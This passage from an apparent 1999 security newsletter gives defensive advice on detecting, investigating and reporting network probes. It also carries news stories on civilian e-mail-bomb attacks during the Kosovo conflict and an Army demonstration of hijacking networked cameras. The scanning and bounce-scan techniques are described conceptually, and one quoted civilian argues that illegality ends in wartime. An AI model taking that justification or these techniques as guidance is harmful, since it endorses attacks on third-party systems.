daemons can be used to conduct port scans. The classic example is the FTP Port Scanner in which a surrogate FTP server is used to make many network connections to a target system. The FTP protocol allows for the client to specify which IP address and port the server should send data to. Information returned by the FTP server can be used to identify open or closed ports on the target system. Finding Targets of Opportunity Some scanning is only focused on one thing - finding vulnerable systems. This type of scanning is subjective, but basically involves a lot of automation. There are some different strategies used by network scanners to find vulnerable systems. Here are a few of them: Wide Scanning Very simply, a network scanner will scan large sets of IP addresses for a particular service or set of services. Scanning usually encompasses 'Class B' ranges of IP addresses. This type of scanning can be identified by two factors. One, the scanning is very sequential. It is so sequential that computers not part of the range scanned don't see any traffic from the scanning host. Second, follow on activity from the scanning host usually doesn't happen for some finite amount of time. This could be a day or a few hours. It reflects the notion that a scanning program takes a long time to complete. Once it is complete, the person running the scanner usually starts to test out the data. Finding vulnerable servers using that service When looking for vulnerable servers, many exploitable services have their own system of organization. DNS is a classic example. If a hacker wants to find a list of DNS servers, there are a variety of tools and databases that can be utilized. The same goes for IRC, Usenet News and web crawlers. Probes that occur on your network may be the result of chance and be happening simply because you have that service! Later on we consider what draws hackers to one network over another. Access Control List Mapping Fire-walking Very recently, a paper was released that detailed a technique dubbed 'fire walking'. This technique combined port scanning and traceroute tools into one that could analyze the aggregate protocol map allowed to a particular host. In other words, this allows remote users to map out a particular set of firewall rules or access control lists. SNMP SNMP queries may be inadvertently allowed to firewalls and packet filters. If this condition is true, then remote network scanners could be able to obtain the exact filter rules for your network. Direct RPC Scanning Normal RPC scanning (rpcinfo -p) sends a query to the rpcbind program which is more commonly known as the portmapper. This query can ask for a list of all other RPC programs on the server. RPC programs historically have always existed around port 1024, or usually below that. Several years ago, Solaris and many other flavors of UNIX started to run RPC programs around port 32771. Many packet filter and firewall designers were unaware of this situation and deployed access control lists that did not prevent connections to these ports. In the case of 'normal' RPC behavior, it is possible for an RPC program to be assigned a port slightly above port 1024. If the firewall rules do not prevent this sort of connection, then the RPC service is directly accessible from external IP addresses. The same goes for RPC programs that are assigned ports above port 32771. These also may be directly connected to. Network scanners may search for these 'high' RPC ports by using port scanning to identify ports and then conduct RPC queries to any ports that are open. If an RPC service is identified, it may have a vulnerability that can be exploited. WHY? Figuring out 'why' a particular suspicious network event occurred can be a very challenging and daunting task. The important thing to realize (and sometimes this only comes through experience) is that some things can't be explained. When an explanation seems to elude you or your staff, don't let it consume more and more resources. Prioritize your investigation and don't let it be hindered by not understanding exactly why something happened. For example, a server may have been rebooting sporadically and your staff suspects that a new denial of service attack is being used. Sniffing, intrusion detection and system security analysis indicate otherwise. Finally, a maintenance person discovers a faulty power supply. This example may seem all to trivial, but occurs many times on modern networks. Another example of a 'why' explanation is to consider the source of the security information. Many network management intrusion detection systems are complex and have many threshold levels for causing alarms to trip. If these threshold levels are drastically changed, then all of a sudden, there may be many system alerts and possible intrusions. Try to identify any recent system changes that could attribute such activity. Unfortunately, all suspicious network activity can not be ruled out. Network probes should be considered hostile until you know exactly what you are dealing with. Why would someone want to break into your network? You tell me! There are many reasons for breaking into networks. Are they looking to deface a web page? Do you have political enemies that are network savvy? The good news is that you may have detected their early network probing efforts and now you can act accordingly. WHEN? Knowing when something happened allows you to construct a timeline or order of events. The order of events may be very crucial to determining the exact steps taken by hackers using network probes. Did they attempt a DNS zone transfer before we deployed the new DNS server? Did the scan on the internal web server occur after the firewall changes? These are example questions that depend on accurate time reporting. One key to determining the order of events is to use a common time source. The Network Time Protocol (NTP) is very reliable, accurate and resistant to a variety of attacks. NTP can be used to synchronize all network and server nodes with a very accurate and uniform time source. With all of them synchronized, log analysis becomes a lot easier. I also recommend trying to keep all of your systems on the same time zone clock. If you are unlucky enough to have servers in multiple time zones all keeping local time, then log analyses can become very cumbersome. With one unified time clock, it may be easier to detect network wide probes of your systems. Having a good and reliable time system is also crucial if you want to enter any of the logs into a court case as evidence. WHERE? When analyzing network probes, the question of 'where' is often overlooked. We are referring to the physical and electronic location of all of the computers involved, including the security systems. Identification of system locations is important to help understand and analyze recorded data. It may also explain why some information is missing or inaccurate. Confirmation of physical and logical location is often necessary when conducting an investigation. Your network maps may not be up to date. There have been cases when a simple network connection mistake has placed a vulnerable server outside of a protecting firewall. It may be helpful (and surprising) to obtain a remote account and conduct network mapping probes to see how things are connected. The use of Ethernet addresses can also be of great use when identifying the sources of spoofed IP packets. Although Ethernet packets can be trivially spoofed locally, they can't be spoofed across the Internet. This can help you determine which router or switch interfaces spoofed packets may have originated from. Analysis of the packets indicates an automated probe of only the DNS servers. Other ISP security contacts report their DNS servers have been scanned for similar ports. You theorize that the port 0 is being used to remotely identify LINUX servers. This theory is further corroborated when you also realize that ports 21, 143 and 2049 have all had recent LINUX remote buffer overflow attacks published. Rule #4: Determine if you are vulnerable Continuing with this scenario, you do a quick inventory check of the DNS servers and discover that one of them is a brand new LINUX install. The server is on the other side of the country and they won't be up for another four hours. What do you do? Every network security program should conduct regular vulnerability testing using commercial and free network security tools. It is one of the best ways to determine if you are at risk to common network attacks. But what if someone is probing you on a port that you have never heard of? What if they are probing you on a port that you thought had no security problems? There are several things you can do. First is to identify the port if it is not well known to you. Set up a network analyzer and collect some traffic on that protocol. Analysis of the traffic may help identify it. There are a variety of proprietary network protocols such as PC Anywhere. These may seem very strange and unfamiliar to you. Another technique you could try is to take an inventory of all of your network software. This is unrealistic in a short time frame, but usually identifies a variety of programs (and protocols) that could cause the traffic you are looking for. If all else fails, consult the Internet news groups. There is a lot of open discussion about network protocols and you may be lucky enough to find one about yours. For example, when I first got my cable modem, I saw a variety of traffic to my computer that was UDP and port 22. All of the packets contained two bytes of ASCII data that were 'NQ'. I had no luck finding out what the protocol was until I stumbled onto a firewalls discussion list that was talking about PC Anywhere. Once you know the target, try to determine the threat. Again, this is very subjective. I try to look for recent vulnerabilities described in the various network security groups on the Internet. Recently, I've begun to observe scanning for port 21 on a variety of firewalls and intrusion detection platforms I have access to. Prior to this about three weeks ago there were several posts that could remotely exploit the Washington University FTP Daemon. It makes sense that people are looking for FTP servers to attack because this is a new vulnerability. Of course the only way to know that you are vulnerable is to actually test the problem. You can be safe and disable the service if you don't need it, but not everyone has that luxury. Getting your hands on the latest exploits is usually not a problem. There are a wide variety of full disclosure security mailing lists and web sites. There are also a wide variety of consultants available to help you with this sort of thing. Testing your network lets you know what hackers and network scanners may see or already have seen. Don't fall into the trap of having an operating system that an exploit isn't available for yet still having the vulnerability. For example, there are all sorts of remote buffer overflows written for the LINUX platform. Just because you are running a SPARC station doesn't mean you are safe. Ports of exploits to new systems can appear at any moment and any hacker worth his or her salt should be able to port exploits between systems. If you are vulnerable then you may have a problem. First of all, you've seen scanning and you think you are vulnerable. It would be wise to approach the box with caution as it may have been compromised. Second, you need to figure out what sort of impact that box has on the network so you can decide what actions you want to take to secure it. Can you down the box to make some patches? Is the box a single point of failure for the network? Can you protect the box by making a firewall rule change someplace else? The important thing here is to mitigate any negative impact on your network. Using a port scanner on the LINUX server finds five open ports including FTP(21), IMAP(143) and NFSD(2049). Your staff also confirms that the server is used for testing. Because of the malicious scanning, the possible vulnerabilities and its lack of impact on the network, you decide to disable the server. You connect to the west coast SSH gateway and disable the Ethernet port on the network switch, effectively isolating the server in case it was compromised. Rule #5: Tell Someone! Continuing with this scenario, you send some encrypted email to your counterparts on the west coast. You also leave some voice mail explaining the situation. Their security staff will conduct a forensic analyses of the server. Trying to keep everyone in the loop, you document the situation and email your management and selected operations people. You also contact the corporate security staff. It may seem surprising, but many security problems and events do not get reported for a variety of reasons. These reasons are a combination of technical and political factors that prevent a clear reporting system. We will discuss some of the specific reasons that security incidents don’t get reported. Blame Many system and network administrators do not report security events because they believe it will reflect poorly on them. An administrator may have previously boasted that "no one" can break into their network. Managers need to realize that these claims are ludicrous and should expect to see monthly security reports detailing suspicious network activity. Chain of Command Who should a security event get reported to? If an organization has not stated how to handle security events, then when one happens it will get handled ad hoc. Most people correctly assume they should tell their immediate supervisor. This is true, but if a security department exists that has been trained to handle security situations, then they may be kept out of the loop. It may also be unclear what your supervisor may do with the information. Management Indifference It may be difficult to explain exactly why a specific type of network activity is 'bad' to inexperience management. Technology marches on and it is difficult to keep up with it for some people. However, this should not prevent an employee from reporting a possible security situation. Don't be afraid to use analogies to get your points across about network probes. Be prepared to demonstrate how an attacker could be probing your network to gain proprietary information. Management Overreaction The opposite of the above example is true. If a network manager is not accustomed to experiencing network probes and scans, then the first time they occur may be traumatic. The best way to handle this is to be up front about the threat to your networks when you talk with your manager or supervisor. Be wary of any drastic measures taken by your management such as calling the FBI or the newspapers. That may not be the best course of action for the given situation. The corporate security staff contacts you immediately. They have hired computer security consultants to conduct a penetration test of the corporate networks. So far you have been the only person to detect and report the scanning. Rule #6: Continue to Monitor On a different day, one of your TCPDUMP sensors starts to collect a variety of suspicious traffic. Someone had caused a bunch of RealSecure alarms a few days ago. You responded with placing some TCPDUMP sensors on your network that collected anything from the suspicious IP addresses. It is strange that none of this traffic has caused a RealSecure alarm. What could it be? Once security probes have been noticed, the most important thing that a network administrator can do to their network is to make sure it is monitored. Depending on you network, you may be able to leverage your operations center. You may also have to place extra intrusion detection sensors. Some people may even wish to deploy packet analyzers. Regardless of your technique, it is important to keep a watchful eye for any suspicious activity. The heightened state of alert exists because your network has been probed and you have made a determination that a network attack may be imminent. When leveraging any operations center, its important that you give them as much information on how to contact you as it is to accurately describe the security situation. In security situations, most operations personnel will contact you when anything suspicious occurs. Unfortunately, this may include normal network performance problems such as routers failing and Windows NT machines blue screening for no reason. Giving an operations center access to the intrusion detection systems is also a good thing. Hopefully this has already occurred on your network. Leveraging quality 24x7 people can only be effective if they are properly trained and have well planned security response procedures. If you choose to deploy extra intrusion detection infrastructure, then you really have two choices. You can change the current rules used by the IDS to be more sensitive or you can deploy completely new systems. All IDS products are 'tuned' to a particular network. Thresholds need to be set and when they are exceeded, alerts and events are recorded. In a hostile environment where an attack may be imminent, lowering these thresholds may record extra probing from an attacker. It will also record more false positives. Deploying more IDS platforms may also be an option. If you have portions of your network that are not covered by the current set of IDS platforms, then deploying additional sensors may expose further attack or network probe activity. Some security gurus may also wish to deploy a set of packet analyzer filters. The most common of these is TCPDUMP. These packet analyzers are deployed with similar strategies to packet based IDS platforms. You want to expose them to as much traffic as possible. In a switched environment, there is a possibility that you may want to run TCPDUMP on a web server or some other isolated production server. If you do this, keep in mind that you should try to obscure the sniffing program. Most network attackers are very familiar with network packet monitors. If they compromise a server that has a network analyzer running, they may find these logs and delete or modify them. When constructing packet filters to monitor suspicious traffic there are several strategies. You can log by destination port, destination address, source address or for a specific packet signature. Watching for specific destination ports can be very effective if you are in an environment where those ports are not active. Consider monitoring the network for all IMAP traffic which may be a service that a network scanner is targeting. If you do not have any IMAP servers, then scan attempts for this service will stand out. Sniffing all HTTP traffic in a web environment would not be a good idea unless you had some sophisticated analysis tools to deal with the barrage of recorded data. The same rules apply to destination addresses. If you have busy server, then logging all traffic to it may not be a good idea. But if the server is not heavily loaded, then recording all traffic may be an option. Sniffing based on the source IP address or source IP network may also find interesting activity. And finally, if you know or suspect the scanning techniques in use by a hacker, consider writing specific packet capture rules. A very easy example of this type would be to record any FIN-SYN packets. Hopefully your IDS is doing that already though. Analysis of the traffic shows that the attacker is directly probing for RPC ports in the 32700-32800 range only on your Solaris servers. They must have performed some operating system fingerprinting last time they scanned your network. Looking at the traffic, there are an equal number of packet to each Solaris server except for two. Both of those have a third party backup program on them which uses an open RPC port. Sure enough, the scanning has focused in on these two servers. Your interest becomes very intense when you realize that there was an attempt to spawn an XTERM session from one machine to the attacker's IP address. Rule #7: Contact the Source Continuing with this scenario, after consulting with your security staff, you decide to contact the ISP where these RPC scanning events are originating from. You get all of the facts together and find the 'abuse' point of contact on their web page. Luckily, the ISP is in the same time zone so you can call during normal business hours. The ISP security manger tells you they had one of their LINUX DNS servers compromised and used to scan other networks. They are sorry for the inconvenience and assure you it won't happen again. When you choose to contact another network organization that is part of the Internet, you must keep a lot of things in mind. The most important thing you can be is organize and present your information clearly. Separate your conclusions from your solid data. Allow the person you are contacting to think about the situation for a moment. Don't demand immediate action. Here are some other guidelines to use when making contact: Don't expect to talk to someone right away Other security people are just like you. They get sick, go to lunch and take vacations. It is not unreasonable to contact an organization and find your security point of contact unavailable. In this case, you may have to deal with someone who is less skilled in security terminology or network administration. When this happens I like to ask for anyone who operates the servers or routers. Usually these people are very capable and can help analyze security events. Language If you attempt to contact foreign countries to chase down suspicious events, you may encounter someone who does not speak your language. English is very common worldwide, but there is no guarantee that you can use it to tell someone about a security incident. Some cultures can read English better than listening to it so consider sending emails or even fax communications. If you have any non-English speaking assets in your organization, it may be a good opportunity to tap them for translator duty. Time Zone Most commercial networks have some sort of 24x7 operations, but security gurus still seem to keep normal daylight hours. The person you are calling may be asleep. Realizing this, you may be lucky enough to get an organization that realizes the importance of your call and follows a procedure to wake the key individuals up for some analysis and hopefully some answers. On the other hand, you may also call and get an answering machine. In this situation you should leave concise information and multiple points of contact on your end. You may be talking to the hacker In some cases, the person listed as the security point of contact may actually be responsible for the scanning of your network. Many hackers get jobs at ISP and other commercial network organizations. Many of them even get jobs in network security capacities. It is not unthinkable that these individuals may abuse their powers. Some telltale signs of this may include apathy to the situation, denial of the events and even open hostility. If nobody asks you for your name, telephone number or email address then something may be amiss. If the person has any knowledge of the scanning that you did not volunteer, then this may also be an indicator they are hiding something. They might not do anything Some network organizations are very busy. In rare cases, the people you contact won't do anything. Some ISP networks have an attitude that they provide unrestricted connectivity for their users and aren't responsible for their actions. Other organizations will help you, but are so busy with other security events that it may take some time before they can handle your complaint. Providing clear and concise facts about the incident can make their job easier and get quicker results for yourself. They might do to much Depending on what the situation is, your information could get some people fired, kicked out from the ISP and even sent to jail. I've had at least one ISP tell me they have "black listed" an individual for hacking. Some security events are honest mistakes, but it is possible for your point of contact to overreact and take some action that you are not comfortable with. For instance, an ISP may place a rule in their outbound packet filters that prevents any traffic to your network from theirs. This is very secure, but now nobody from that network can get to your web servers, send email or play Quake. They may have had a break in During many security situations, the people you are contacting may have suffered a security compromise. If this is the case then either they know it or they don't. If they know about the break-in, then they may be forth coming with all sorts of information. They may also be deceptive and try to hide the incident. If they do not indicate that they have been compromised, but you think they have, it's very important to try and get this information to the correct people. Telling a receptionist isn't going to help the problem get fixed unless you need his or her help to find the correct people. Taking a chance and calling a webmaster, the sales line or even customer support will usually get you within one or two phone calls of the correct person to talk with. They may ask you to work with them in analyzing and tracking down hackers. Be carefully not to discus any proprietary network information or security invents that do not directly involve your point of contact. This will shield you from inadvertently compromising someone's right to privacy. Everything you say may be used against you It's been said before, but I'll say it again. All of the conversations, intrusion detection events, logs, packet dumps and reports that you or your staff are involved in may be admissible in a court case. Be careful who you give logs to. You may or may not want your logs used in a court case or even have you or members of your security staff called as witnesses in a trial. I'm not going to preach moral values of network security, but it might not be in your best interests to assist some other network organization half way across the country to prosecute a hacker. Of course the corollary to this is true also. Wouldn't you like it if another security expert was willing to testify that they detected probes from the individual(s) on trial for breaking into your network? Another aspect to keep in mind is to only give out log information to people who truly need access to it. The data can contain a variety of privacy information such as passwords and network usage. Only give the data to people you feel have a need to know and can effect responsible changes to prevent further network abuse. Email may have been compromised One last comment is to think twice before sending security event information over email. Email can be easily compromised. However, monitoring a large volume of email traffic may be outside the scope of a hacker. I like to email points of contact that have multiple accounts and choose one that is not on the possibly compromised network. Also consider the use of encryption. Final thoughts: Be professional when you handle yourself with other people outside of your organization. If you are in the business of selling Internet access, professionalism and common courtesy can take you a long way. The security community is very small and you may be surprised how often you'll run into other security people from different organizations. You are satisfied with your analysis and resulting conversation about the RPC scanning with the ISP. However, when writing the summary report you realize that the scanning did not originate from the ISP's DNS server, but one of their file servers. There is a good chance that they have been further compromised and do not know it. You review your logs once more to confirm your suspicions and then contact the ISP once again. Rule #8: Consider Telling Outsiders When security events occur, you may want to consider getting the word out to other Internet groups. There are a variety of outlets for this sort of information. What is right for you depends on the situation. Consider telling other organizations through the following means: FBI or Authorities The FBI and other authorities are continually getting better at tracking down hackers. The United States military also has an excellent program to track down suspicious network events. Regardless, the security events that you wish to bring to attention by these organizations should be something new or serious activity. What is this sort of activity? I would say any activity that spans multiple networks or organizations. An example of this could be organized targeting of web servers that accepted credit card data at multiple locations at multiple companies. Another reason to contact the authorities is if you have information that could be useful to an ongoing investigation. Many security events are covered in the media and your information could be related and prove useful. CERT Organizations Computer Emergency Responses Teams track network security events and in some cases, will directly respond to them. Most people have heard of CERT advisories. Some of these advisories do not have vulnerability information, but warn of hacker activity. Information that you report to CERT can help produce better and more timely advisories. If you think that network scanners are looking for a new vulnerability, then CERT can use this information when issuing new vulnerability advisories. There are many different CERT organizations. If you are in the United States military, you should report security incidents to your branch's CERT agency. There are many CERT organizations that span international and corporate entities. Choosing which CERT agency to report an incident is sometimes a difficult task, but can get you more focused support. Mailing Lists In some cases, reporting scanning activity directly to a security mailing list can be beneficial for a variety of reasons. First, the information is very timely. Readers of the mailing lists are there to exchange information about new security vulnerabilities and your report of network scanning may spawn discussion as to what it could mean. Second, other people that have had similar network security events may come forward with other information. They may post to the mailing list or contact you directly. One word of caution though, hackers and malicious individuals also have access to these mailing lists. Don't disclose any information about vulnerabilities in your network or unique information about your network such as IP addresses or domain names. You may even want to get a second shell account just to send email to these mailing lists. Free web based email services such as Hotmail are very useful for this sort of activity. Security Web Sites There are also a wide variety of security web servers on the Internet today. These sites track vulnerabilities and hacker activity. Writing a story or submitting some content about recent scanning activity may help find a solution to the problems. Follow the same sanitation rules with your content to prevent drawing undue attention to your network. Company Outsiders In some cases, it may be appropriate to raise the level of concern at your company. If more money or resources should be involved with network security, then telling Vice Presidents and other upper corporate management may get you some results and raise awareness. In some cases, CEOs and CIOs may have misconceptions about the current level of network security. There is nothing like a security event to bring a little reality to the situation. The Media Bringing the media into a security situation is usually a recipe for disaster. Most security experts agree that the last thing you should do is to tell other people how secure you are or tell them that you are under network attack. This is a magnet for hackers. You might as well hang a sign on your web page that says, "Hack Me!". Realistically though, the media can be used to tell your customers about your network security if it is done right. If you have firewalls and intrusion detection systems, then there is really nothing wrong with telling people that you have firewalls and intrusion detection systems. Just don't make the leap and state that you have "impenetrable" security. With security incidents, care must be taken to present a positive image about your company or network without reflecting poorly on yourself. Press releases are an excellent tool for this purpose. Rule #9: Determine What Attracted Attention Any investigation of suspicious activity should attempt to conclude what attracted the network scanning in the first place. By attempting to discover this information, you may prevent some scanning in the future. Hackers tend to be opportunistic. Unless they have a bone to grind with you, most malicious hackers are simply looking for vulnerable servers to compromise. Here are some things that opportunistic hackers look for: Default Web Server Splash Pages One of the easiest ways to quickly assess the security of a network is to visit each of its web servers and see how many of them display the default Internet Information Server or Apache splash pages. These can usually indicate recently deployed systems, development networks or systems that are not maintained that well. All of these may have security problems. The combination of the security possibilities and the lack of maintenance can be a green light to most hackers. DNS Entries If your DNS server has names for network nodes such as 'test-linux-1', 'guest' or even 'web-development', then these names could attract a hacker's attention. Naming things by their function ('router1', 'firewall-3', etc.) tells your staff and the entire world exactly what the operation of a particular network node is. If an attacker is looking for a particular exploit to try, they may consult your DNS server to find a target. In some cases, poorly maintained DNS entries can also indicate a poorly administered network. Many hackers (correctly) assume this also means poor security. A good example of a DNS problem is the advertisement of RFC 1918 addresses through normal DNS queries. Default Exploitable Services Many hackers will conduct a quick limited probe to find out how secure or unsecured a given network is. What they may be looking for is a group of computers not protected by a firewall and offering a variety of services such as DNS, TELNET, FTP, SMTP, HTTP and RPC. For example, if a hacker does conduct a quick port scan of a web server which results in only port 80 being active, then the hacker may conclude that the site is reasonably secured. Compare this to a port scan of the web server that discovers twelve active ports. Each situation represents a different level of perceived security posture. Press Releases Nothing draws attention to your site like the media. If your company or clients to your company have media exposure, then it follows that some hackers will get the idea to try and scan or hack you. At least one ISP I am aware of was dismayed when one of its customers actually challenged hackers to break into their web server. The ISP suffered fratricide when attacks on the web server spilled over to the operations center. Internet Relay Chat Running IRC servers is an easy way to attract hackers. Many hackers stereotypically spend hours on end chatting about a variety of topics. When hackers disagree with each other, they will use a variety of denial of service attacks to disable the other person's network access. In some cases direct attacks on the other person's network will also ensue. Having network users that spend time in IRC chat discussions is also an advertisement to hackers. The debate to allow or not to allow IRC access from your network may be abated by providing free access to a shell accounts outside of your network, or by placing an IRC server outside of your firewall. Hacker Web Pages Nothing attracts hordes of hackers like a hacker web page. Many of these pages suffer network attacks. Many of these pages are also seen as 'trophy' pages that various hacker groups would like to claim credit for hacking. If you run a network that has this sort of information, you may be experiencing a certain level of security events simply because people are poking around your network looking for ways to break into the hacker web page. Do you have hackers working for you? If you have a hacker working for you or at your company, then the suspicious probes you may see could be coming from the hacker during off hours or from the hacker's friends (or enemies). Could it be corporate espionage? Not all hacking events are random acts of opportunity on a hacker's part. The suspicious events could indicate a coordinated effort to compromise the security of your network to obtain some level of information. This information could include email, trade secrets, plans, spread sheets or any number of other proprietary pieces of information. Internal Security Events If you suspect that an internal person in your company is conducting network probes or doing something nefarious, then you should follow some loose guidelines when analyzing and presenting evidence. Limit your opinions Do not spread rumors or false accusations about any individual suspected of abusing their network access. This could be viewed as slander in a court case. When presenting suspicious internal security information to other individuals, do not associate any suspected individuals with the data. Try to sanitize the data before presenting it to any group of people. Once someone is branded a hacker, they have a tough time loosing that image even if they are shown to be innocent. Also keep in mind that other people may not have the same opinions about security as you do. Depending upon their position and yours, you may have to work out an agreement or get an interpretation of your network security policy. Document, Record & Save Try to save as much information about the suspicious events as possible. In most cases, these events are more powerful and damaging (and damning) than your word alone. Make sure that the records are in a secured place where they cannot be tampered with. Physical media such as CD-ROMs are ideal for this sort of application. These records will become very crucial in any decisions to terminate an individual. They may also play a role in any police or FBI investigations. Involve Human Resources and Corporate Security Most companies have an HR department that deals with personnel issues. Some companies also have a corporate security group that handles internal security issues. Involving both of these organizations can help protect your interests as well as the company's . They may also have other information that you don't have. Consider the example where an employee has submitted their two week notice and has started to hack the network form the inside. This is a very serious situation which you may have only perceived as a minor network nuisance. If you are the technical subject matter expert on security, you may be asked by these groups to assist in an investigation. Avoid Target Fixation We are all human. Chances are you would not like your actions to be monitored on a regular basis. Small acts such as taking office supplies for home use seem much more serious when an investigation is underway. The same is true for network security investigations. For example, just because a person is visiting hacker web sites does not mean they are a hacker. Focusing to much on a person's network activities can provide a myopic view of the big picture. Challenge The Individual Once the proper authorities are involved and there is agreement that the individual is doing something strange on the network, the individual should be challenged. If this is done correctly, then the individual will be surprised and may give themselves away through statements they make. That is of course if they are hiding something. You should carefully use these meetings to find out what the individual was doing. Ask direct questions about network usage and try to find anything that can explain the suspicious network traffic. If you hit a break wall, you may want to tell the individual what sort of traffic was observed. Stereotypically, this is when the person confides that they let Bruce from the accounting department use the computer during lunch time. You should also have a physical inspection of the computer performed while the meeting is taking place. These may seem like very extreme measures, but if an individual is to be terminated immediately, the chance to discover Trojan horse programs or logic bombs needs to be addressed. Also a physical inspection of their computer may provide contradicting evidence to their testimony or explanation of their activity. Final thoughts: Computer analysis should best be left to computer experts. However, since security events involve people, the best chance of catching an internal hooligan may come from an ex-police officer or an ex-investigator. People with these backgrounds and some good computer knowledge are becoming very popular to handle computer crime investigation. If your company has these assets, then I strongly urge you to involve them in computer security incidents. Final - 'Final Thoughts' Following the steps outlined here may save you a lot of time and headaches when dealing with network probes and security events. I urge you to discuss these concepts with your staff and management. You should also discuss this information with any other people in your organization associated with network operations. The one thread that holds all of these rules together is 'common sense'. Analysis and termination of network probes and security events occurs in the human world. It does not occur in the computer world. Dealing with other people can be tricky. Be nice. Be courteous. There are some people at your company and at other networks that won't be easy to work with, but this is a fact of life that usually rears itself during a security event. Act professional and stick to the facts. For a variety of reasons, many people tend to forget these when placed under pressure in high tension situations. Good luck! [EoA] @HWA 33.0 Civilians go online to fight ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: Luther Van Arkwright http://www.foxnews.com/stage11.sml E-Strikes and Cyber-Sabotage: Civilian Hackers Go Online to Fight 7.19 a.m. ET (1119 GMT) April 15, 1999 By Patrick Riley Richard Clark is not in the military, but when he heard news reports earlier this month that NATO's Web site had been attacked by Belgrade hackers, he wanted to do his part to help the allies. So he turned to his keyboard. Using software available on the Internet, the California resident sent an "e-mail bomb" to www.gov.yu, the Yugoslav government's main Web site. On April 3, a few days and 500,000 e-mails into the siege, the site went down, Clark said. Clark does not claim full responsibility for the cyber-sabotage; he assumes others may have had similar ideas. But he is confident he "played a part." He is just one of untold numbers of civilians on both sides of the conflict who have gone to battle from their desktops, raising new questions about the role of civilians during times of war. The Internet Onslaught Although classified NATO or Yugoslav information is not connected to the Internet, tactics like e-mail bombing — sending mail non-stop to the same address until it floods its server — can still cause major trouble. Crashing public Web sites could cut off main channels of propaganda or disrupt important budgetary information that militaries do store online. "If you got the right access you could actually turn their machines off," stated Clark, who said he served in the Army and has worked for the Department of Defense and the FAA, and now runs a private firm which sets up computer networks. "That has a whole snowball effect." But he admits his was a low-tech attack. He likens it to "stuffing a T-shirt down your toilet and flushing it." "There's probably real hackers out there trying to do it, doing things that are far more sinister than what I was doing," he said. Indeed this appears to be the case. The Boston Globe reported that an American hacking group called Team Spl0it has broken into several Web sites and posted statements such as "Tell your governments to stop the war" and a coalition of European and Albanian hackers calling themselves the Kosovo Hackers Group has replaced at least five sites with black and red "Free Kosovo" banners. On the other side, in addition to the attacks on the NATO site — suspected to be the work of Serbs — Russian hackers have gone after U.S. Navy sites. Any damage caused by such stunts, however, is often quickly remedied — the Yugoslav site was back online soon after its early April troubles. And the biggest attack on Yugoslavia's information infrastructure has come not from the hands of hackers but from NATO bombers blowing up bridges used to carry wires, and even from the Yugoslav government itself dismantling communications systems to deprive its people of outside information. Vigilantes and 'Hacktivists' Still, encouraging civilians to participate in a diplomatic or military conflict "would set a dangerous precedent," said John Vranesevich, founder of AntiOnline, a Web site that tracks the hacking culture. He worries that vigilante "hacktivism" in the name of a nation could have War Games-like consequences. "You could have shut down communications to a country and all of a sudden it looks like something our country did on an official stance," he said, adding that diplomatic relations with Beijing were strained a few years back when a site run by hackers Legions of the Underground posted a declaration of war against China. "I think hacking is a bad idea, no matter what it's directed at," said Peter Tippett, president and CEO of the International Computer Security Association, a Reston, Va.-based consulting firm. Such terrain should be left in the hands of the military, he said. "If the military thought it was appropriate to attack the infrastructure of Yugoslavia they would certainly do it," he said. "They can do it if they want to and they would be far more effective than a kid with tools of the Internet." The Department of Defense, the State Department and the FBI's National Infrastructure Protection Center all declined to discuss ongoing cyber-warfare. The Department of Justice did not return a call for comment. Clark hopes the military is doing its best to hack Serb systems. "It would seem to me that you'd want to use all your assets at a time like this," he said. He says his own vigilantism is therefore easily justifiable. "This is war and everyone should do their part," Clark said. "I think the illegality stops when you're at war, really." Brief Triumph But before Clark could revel in his victory too long, he got an unpleasant response from his Internet service provider. The ISP, Pacific Bell, cut off his service. (However, he said, he can still log into his e-mail account through a friend's computer.) While he expected the Internet and phone company might inquire as to his activities — especially if the mail had bounced back and clogged PacBell's server — he said he didn't expect such punishment. A PacBell spokeswoman said Internet behavior like Clark's violates its spamming policy — and war is no excuse for that. "In general, they don't change their policies based on what's going on in the world," she said. "Somebody else could come back and say they need to spam this dog site because 'they didn't take good care of my dog.'" "How, in a time of war, can my ISP cancel my account for attacking the enemy?" he asked via e-mail. "This is not right. We can pound these military targets with bombs, but a private citizen cannot hack the enemies' Web presence? This is just ludicrous!!" -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 34.0 Video cameras and microphones in your system also a target for hackers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: William Knowles http://www.fcw.com/pubs/fcw/1999/0412/web-mike-04-14-99.html (Federal Computer Week) [4.14.99] Do you have a microphone or video camera connected to your computer or network? If you value your privacy, turn those devices off, a top Army computer protection official warned today. Philip Loranger, chief of the Command and Control Protect Division in the Army's Information Assurance Office, demonstrated how anyone can attack a network and turn on any camera or microphones connected to that network with what he called "not very sophisticated hacker tools'' downloaded from the Internet. Loranger, who conducted an attack on a dial-up military network in Columbia, Md., from an Association of U.S. Army Information Assurance symposium in Falls Church, Va., said the .mil system he managed to penetrate -- and whose identity he would not disclose -- did not have any intrusion-detection system despite the spurt of recent publicity about an increase in hacker attacks. Using "point and click'' hacker tools, Loranger said he cracked three out of seven passwords on the system. Once inside the network, Loranger said he then probed the network and discovered a "read/write password file'' that allowed him to delete the "super-user'' password, allowing him to create a super-user password for himself, giving him free reign over the system. Loranger said this then allowed him to search the system for any microphones or cameras connected to it and then turned them on. "I can capture conversations and bring them back to my own computer,'' Loranger said, "and I can turn on video cameras and bring pictures back.'' The Army conducted this "white-hat attack'' after warning the target facility to expect it, Loranger explained, but the lack of intrusion-detection devices did not provide the system's users with any warning "until I launched a denial-of-service attack and brought the system down.'' Loranger said he conducted the demonstration to emphasize that hackers use information warfare attacks to do more than just cripple computers or steal information located on the network. The networks also can serve as real-time windows into the physical world outside the network. -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 35.0 Cryptogram Newsletter ~~~~~~~~~~~~~~~~~~~~~ CRYPTO-GRAM April 15, 1999 by Bruce Schneier President Counterpane Systems schneier@counterpane.com http://www.counterpane.com A free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. Back issues are available at http://www.counterpane.com. To subscribe or unsubscribe, see below. Copyright (c) 1999 by Bruce Schneier ** *** ***** ******* *********** ************* In this issue: Cryptography: The Importance of Not Being Different News Counterpane Systems -- Featured Research Threats Against Smart Cards Attacking Certificates with Computer Viruses Counterpane Systems News Comments from Readers ** *** ***** ******* *********** ************* 